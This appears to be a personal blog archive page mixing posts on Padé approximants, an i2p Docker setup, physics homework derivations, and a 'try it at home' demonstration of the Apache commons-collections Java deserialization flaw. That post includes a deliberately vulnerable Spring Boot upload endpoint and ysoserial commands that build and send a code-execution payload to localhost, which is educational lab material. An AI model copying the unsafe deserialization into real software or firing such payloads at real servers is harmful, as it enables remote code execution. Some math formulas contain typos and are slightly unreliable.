Pade approximants: a case study (ii)

In the previous article we have seen how to calculate Padé approximations on the example of

f(z) = \frac{\log(1-z)}{z}

The study (ii)

We are now going to see how efficient Padé’s ansatz is and compare it to the well known series representation f(z) = -\sum\limits_{k=0}^\infty \frac{z^k}{k+1}. We also focus on the “diagonal” Padé’ P^n_n(z), which seems to be one of the two popular choices (the other is P^n_{n+1}(z)).

Example 1 (inside of Taylor r.o.c): convergence at z = \frac{3}{4}. Here the value is

f\bigl(\frac{3}{4}\bigr) = -\frac{4\log(4)}{3}\approx -1.84839

Since three quarters lies inside the radius of convergence for the series, we can directly compare how fast the individual approaches to f converge to the exact value:

pade34The numbers on the horizontal axis (0, … ,10) denote the order of the approximation n.  Here and below, the black dots represent the exact value, green squares stand for the diagonal Padé approximation P^n_n\bigl(\frac{3}{4}\bigr), and blue diamonds correspond to the n-th Taylor polynomial evaluated at the point of interest. At this resolution, already the third Padé does not differ visually from the exact value, whereas the series still deviates significantly!

Example 2 (at the edge of Taylor r.o.c): consider z = -1. The series is rather famous

f(-1)=-1+\frac{1}{2}-\frac{1}{3}+\frac{1}{4}-\dots=-\log 2\approx -0.693147

and known to be slowly convergent. Have a look how the Padés outperform the Taylors:

pade_neg1

Example 3 (Padé converges where Taylor explodes): consider z = -2. At this point the Taylor series does not work anymore, however the Padé approximants do converge to the correct value

f(-2)=\frac{\log 3}{2}\approx -0.549306

pade_neg2Impressive, isn’t it? We will come back to that property in a later post…

Posted in Math, Mathematica | Tagged , , , | 1 Comment

Pade approximants: a case study (i)

This post was inspired by a lecture series of Carl Bender [1].

The case

I will consider the function f on the complex plane, defined by

f(z) = \frac{\log(1-z)}{z}

Have a look at a complex plot of it

log1mzovSome properties:

  • f has a a logarithmic singularity at z = 1.
  • f is analytic in \mathbb{C}\setminus[1,\infty)
  • f has a logarithmic cut on the line (1,\infty)

For |z|<1 the following series representation holds

f(z) = -\sum\limits_{k=0}^\infty \frac{z^k}{k+1}

Claim: The series sucks in practice!

The study (i)

Once upon a time some guy called Padé came along, being unnerved by the wackness of Taylor-like series, and proposed what is now known as Padé approximants. His idea was to find polynomials P_n(z) and P_m(z) of degree n and m, such that

P^n_m(z )\equiv \frac{P_n(z)}{P_m(z)} = f(z) + \text{corrections}.

In a similar way of Taylor polynomials approximating f, he simply tried rational expressions.

Q: How does one find these these polynomials? A: By comparing to the Taylor series.

Example 1: Find P^1_2(z ). Start with an ansatz:

P^1_2(z) = \frac{a_0+a_1z}{1+b_1z+b_2z^2}.

where I already put the lowest order coefficient in the denominator to 1, which is a convention that removes the ambiguousness of the polynomial parameters when considering ratios. So we have four parameters, which we can match to a Taylor polynomial of order three. To make progress, we expand our ansatz in powers of z

P^1_2(z)=(a_0+a_1z)(1-(b_1z+b_2z^2)+(b_1 zb_2 z^2)^2-b_1^3 z^3) +\dots

where I already dropped terms that will be of fourth power or higher in z. This expression should be matched to -1-\frac{z}{2}-\frac{z^2}{3}-\frac{z^3}{4} order by order in z. A little algebra yields

P^1_2(z)=\underbrace{a_0}_{=-1}+z\underbrace{(a_1+b_1)}_{=-\frac{1}{2}} + z^2 \underbrace{\biggl(\frac{b_1}{2}+b_2\biggr)}_{=-\frac{1}{3}}+z^3\underbrace{\biggl(\frac{b_1}{3}+\frac{b_2}{2}\biggr)}_{=-\frac{1}{4}} + \dots.

This set of equations has a simple solution, resulting in

P^1_2(z)=\frac{-1+\frac{z}{2}}{1-z+\frac{z^2}{6}}

A quick fireprobe: this approximant suggests the approximate value \frac{9}{13} for \log 2. This isn’t too bad, in fact you can add it to your stash of quick and dirty calculation library. Students are always impressed by this sort of witchcraft. I dare you to find an easier-to-remember value from the series representation…

Example 2: The Taylor polynomials are contained within the Padé approximants as

P^n_0(z) = -\sum\limits_{k=0}^n \frac{z^k}{k+1}.

To be continued… I’m lacking blogging time atm…

Posted in Math, Mathematica | Tagged , , , , | 2 Comments

Setting up i2p running in a docker container

Heard of i2p? Wans to give it an try? Y not docker? Leaves your host system untouched. Can throw it away leaving no* footprint (* usual restrictions apply).

Have an Dockerfile:

FROM debian:jessie
MAINTAINER Gooby <gooby@pls.com>
EXPOSE 4444 4445 4446 4447 7657 7654 6668

RUN apt-get update && apt-get upgrade
RUN apt-get install -y openjdk-7-jre-headless wget curl socat

RUN echo "deb http://deb.i2p2.no/ jessie main" >> /etc/apt/sources.list
RUN echo "deb-src http://deb.i2p2.no/ jessie main" >> /etc/apt/sources.list
RUN wget -qO - https://geti2p.net/_static/i2p-debian-repo.key.asc | apt-key add -

RUN apt-get update && apt-get upgrade
RUN apt-get install -y i2p i2p-keyring

RUN useradd i2pproc && mkdir /home/i2pproc && chown i2pproc:i2pproc /home/i2pproc

COPY start.sh /tmp/
ENTRYPOINT ["/tmp/start.sh"]

Together with (place in same directory as the Dockerfile):

#!/bin/bash

su i2pproc -c "i2prouter start"

sed -i s/i2cp.tcp.bindAllInterfaces=.*/i2cp.tcp.bindAllInterfaces=true/g /home/i2pproc/.i2p/router.config
sed -i s/::1,127.0.0.1/0.0.0.0/ /home/i2pproc/.i2p/clients.config

su i2pproc -c "i2prouter restart"

socat TCP-LISTEN:4446,fork TCP:localhost:4444 &
socat TCP-LISTEN:4447,fork TCP:localhost:4445 &

/bin/bash

Starting the fun:

/path/to/i2p$ docker build -t i2p . && docker run --rm --name=i2p -it i2p

When configuring the browser proxy, run

docker inspect --format '{{ .NetworkSettings.IPAddress }}' i2p

to get the IP to enter into the proxy host and use 4446 and 4447 as ports. Modify the scripts as you seem fit for customization.

Posted in Security/Encryption | Tagged , , | Leave a comment

Apache commons-collections vulnerability – try it at home

The commons-collections certainly belong to the most popular java libraries out there and are used by many projects and people, including me. In my opinion it is beautiful library, has a nice API, fantastic test coverage etc. In many situations can save you from writing boilerplate code. In short, it’s simply too convenient not to use it.

A security vulnerability that was known for some months was now turned into concrete exploits, attacking widespread enterprise applications, see this blog post and references therein. The mechanics of the attack are pretty well explained there.

TL;DR: deserialization and reflection = (almost) arbitrary code execution

I created a simple spring-boot application that is vulnerable:

/* (C) 2015 Gooby. All rights reserved. */
package plz.gooby;

import org.apache.commons.collections4.map.LazyMap;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.boot.builder.SpringApplicationBuilder;
import org.springframework.http.MediaType;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.multipart.MultipartFile;

import java.io.IOException;
import java.io.InputStream;
import java.io.ObjectInputStream;
import java.util.Date;

/**
 * Them vulnerable web server.
 */
@SpringBootApplication
@RestController
public class Application {

    public static void main(String[] args) 
                       throws ClassNotFoundException {
        Class<LazyMap> lazyMapClass = LazyMap.class;
        new SpringApplicationBuilder(Application.class)
            .run(args);
    }

    @RequestMapping(value = "/",
        method = RequestMethod.POST, 
        consumes = MediaType.MULTIPART_FORM_DATA_VALUE)
    public void upload(
        @RequestParam("file") MultipartFile file)
            throws IOException, ClassNotFoundException {
        try (
            InputStream inputStream 
                = file.getInputStream();
            ObjectInputStream objectInputStream 
                = new ObjectInputStream(inputStream)
        ) {
            Date date
               = (Date) objectInputStream.readObject();
        }
    }
}

It will just accept a file upload and try to deserialize the stream right into a Date object.

How to exploit, you ask?

I will defer my readers to the aforementioned blog post to explore the details, let’s get practical. There is a project that can prepare a funny serialized payload for us: yoserial

git clone https://github.com/frohoff/ysoserial.git
cd ysoserial
mvn clean package jar:jar
cd target
java -jar ysoserial-0.0.2-SNAPSHOT-all.jar CommonsCollections2 'xterm' > /home/gooby/payload.bin

Now, here for some action: run the spring-boot app and hit

curl -i -F name=file -F file=@/home/gooby/payload.bin http://127.0.0.1:8080/

If you see a terminal pop up, you know the exploit worked.

That’s it, watch the Jira issue COLLECTIONS-580 to see what is done about it.

Posted in Programming, Security, Security/Encryption | Tagged , , , | 2 Comments

Movember ’15

Just in case you haven’t noticed: It’s Movember.

gooby_stache

Posted in Fun | Tagged | Leave a comment

Let gooby do teh hoemwerk: Green function of the two-dimensional Laplace operator

Problem

Determine the Green function of the two dimensional Laplace operator

\Delta_2 = \frac{\partial^2}{\partial x^2}+\frac{\partial^2}{\partial y^2}

Solution

Recall that the Green function G has to satisfy

\Delta G(\vec x) = \delta^{(2)}(\vec x)

As an ansatz, we assume that G depends only on the magnitude of \vec x, i.e. G(\vec x) = G(|\vec x|=\rho).  Then let us use Gauss theorem with a “volume” D(\rho) being a disk with radius \rho.
Then

1 = \int_{D(\rho)}d^2x'\, \vec{\nabla}^{\,\prime}\cdot\vec{\nabla}^{\,\prime} G(\rho') = \oint_{\partial D(\rho)} d\vec{\sigma}^{\,\prime}\cdot\vec{\nabla}^{\,\prime} G(\rho')\,.

Since the boundary of the disk is the circle and \vec{\nabla}^{\,\prime} G(\rho') = G'(\rho')\hat{\rho}^{\,\prime}, one obtains

G'(\rho) = \frac{1}{2\pi\rho}

from which follows that G(\rho) is given by (up to functions that lie in the kernel of the two-dimensional Laplace operator)

G(\rho) = \frac{\log(\rho/\lambda)}{2\pi}\,,

where \lambda is some length scale in order to make the logarithm well-defined.

Posted in Math | Tagged , | Leave a comment

Let gooby do teh hoemwerk: Baker-Campbell-Hausdorff identities

Problem

Let A and B be linear operators, which commute with the commutator of A and B, i.e.

\bigl[A,[A,B]\bigr]= \bigl[B,[A,B]\bigr]=0\,.

Show that the following formulae hold:

e^A e^B = e^B e^A e^{[A,B]}\,,\\  e^{A+B} = e^A e^B e^{-[A,B]/2}\,,

which are known as the Baker-Campbell-Hausdorff identities. They play an important rule, e.g. in quantum mechanics, whenever one deals with exponentiation of the position and the momentum operator.

Solution

We will start by proving the first equation. To this end we introduce an auxiliary operator O_1(\lambda), which depends on a real parameter \lambda:

O_1(\lambda) = e^{\lambda B}e^Ae^{[A,\lambda B]}e^{-\lambda B}e^{-A}\,.

We will show, that O_1(\lambda)= 1, which will prove the claim. Clearly this statement is true for \lambda=0. The derivative of O_1(\lambda) with respect to \lambda is

\frac{d}{d\lambda}O_1(\lambda) = e^{\lambda B}\Bigl(Be^A e^{[A,\lambda B]}e^{-\lambda B}+e^A[A,B]e^{[A,\lambda,B]}e^{-\lambda B}-e^Ae^{[A,\lambda B]}Be^{-\lambda B}\Bigr)e^{-A}\notag\\  \phantom{\frac{d}{d\lambda}O_1(\lambda)} = BO_1(\lambda)+[A,B]O_1(\lambda)-e^{\lambda B}e^Ae^{[A,\lambda B]}Be^{-\lambda B}e^{-A}\notag\\  \phantom{\frac{d}{d\lambda}O_1(\lambda)} =[A,B]O_1(\lambda)-e^{\lambda B}[e^A,B]e^{[A,\lambda B]}e^{-\lambda B}e^{-A}

It is easy to see by induction, that under the conditions imposed on A and B,

[A^n,B]= n[A,B]A^{n-1}\,,
which implies
[e^A,B]= [A,B]e^A

and thus \frac{d}{d\lambda}O_1(\lambda)=0 and consequently validates the first identity.

In order to prove the second equation, we will do a similar trick and define

O_2(\lambda)=e^{-\lambda(A+B)}e^{\lambda A}e^{\lambda B}e^{-\lambda^2[A,B]/2}\,.

Obviously, O_2(0)= 1, and the derivative

\frac{d}{d\lambda}O_2(\lambda)= -(A+B)O_2(\lambda)+e^{-\lambda(A+B)}Ae^{\lambda A}e^{\lambda B}e^{-\lambda^2[A,B]/2}\notag\\  \phantom{\frac{d}{d\lambda}O_2(\lambda)=}+e^{-\lambda(A+B)}e^{\lambda A}Be^{\lambda B}e^{-\lambda^2[A,B]/2}-\lambda[A,B]O_2(\lambda)\notag\\  \phantom{\frac{d}{d\lambda}O_2(\lambda)}=-BO_2(\lambda)+[e^{-\lambda(A+B)},A]e^{\lambda A}e^{\lambda B}e^{-\lambda^2[A,B]/2}+e^{-\lambda(A+B)}Be^{\lambda A}e^{\lambda B}e^{-\lambda^2[A,B]/2}\notag\\  \phantom{\frac{d}{d\lambda}O_2(\lambda)}=0\,.

In the second step I have interchanged B with e^{\lambda A} in the third term. The commutation rest cancels the fourth term.

This completes the proof.

Posted in Math | Tagged , , | 1 Comment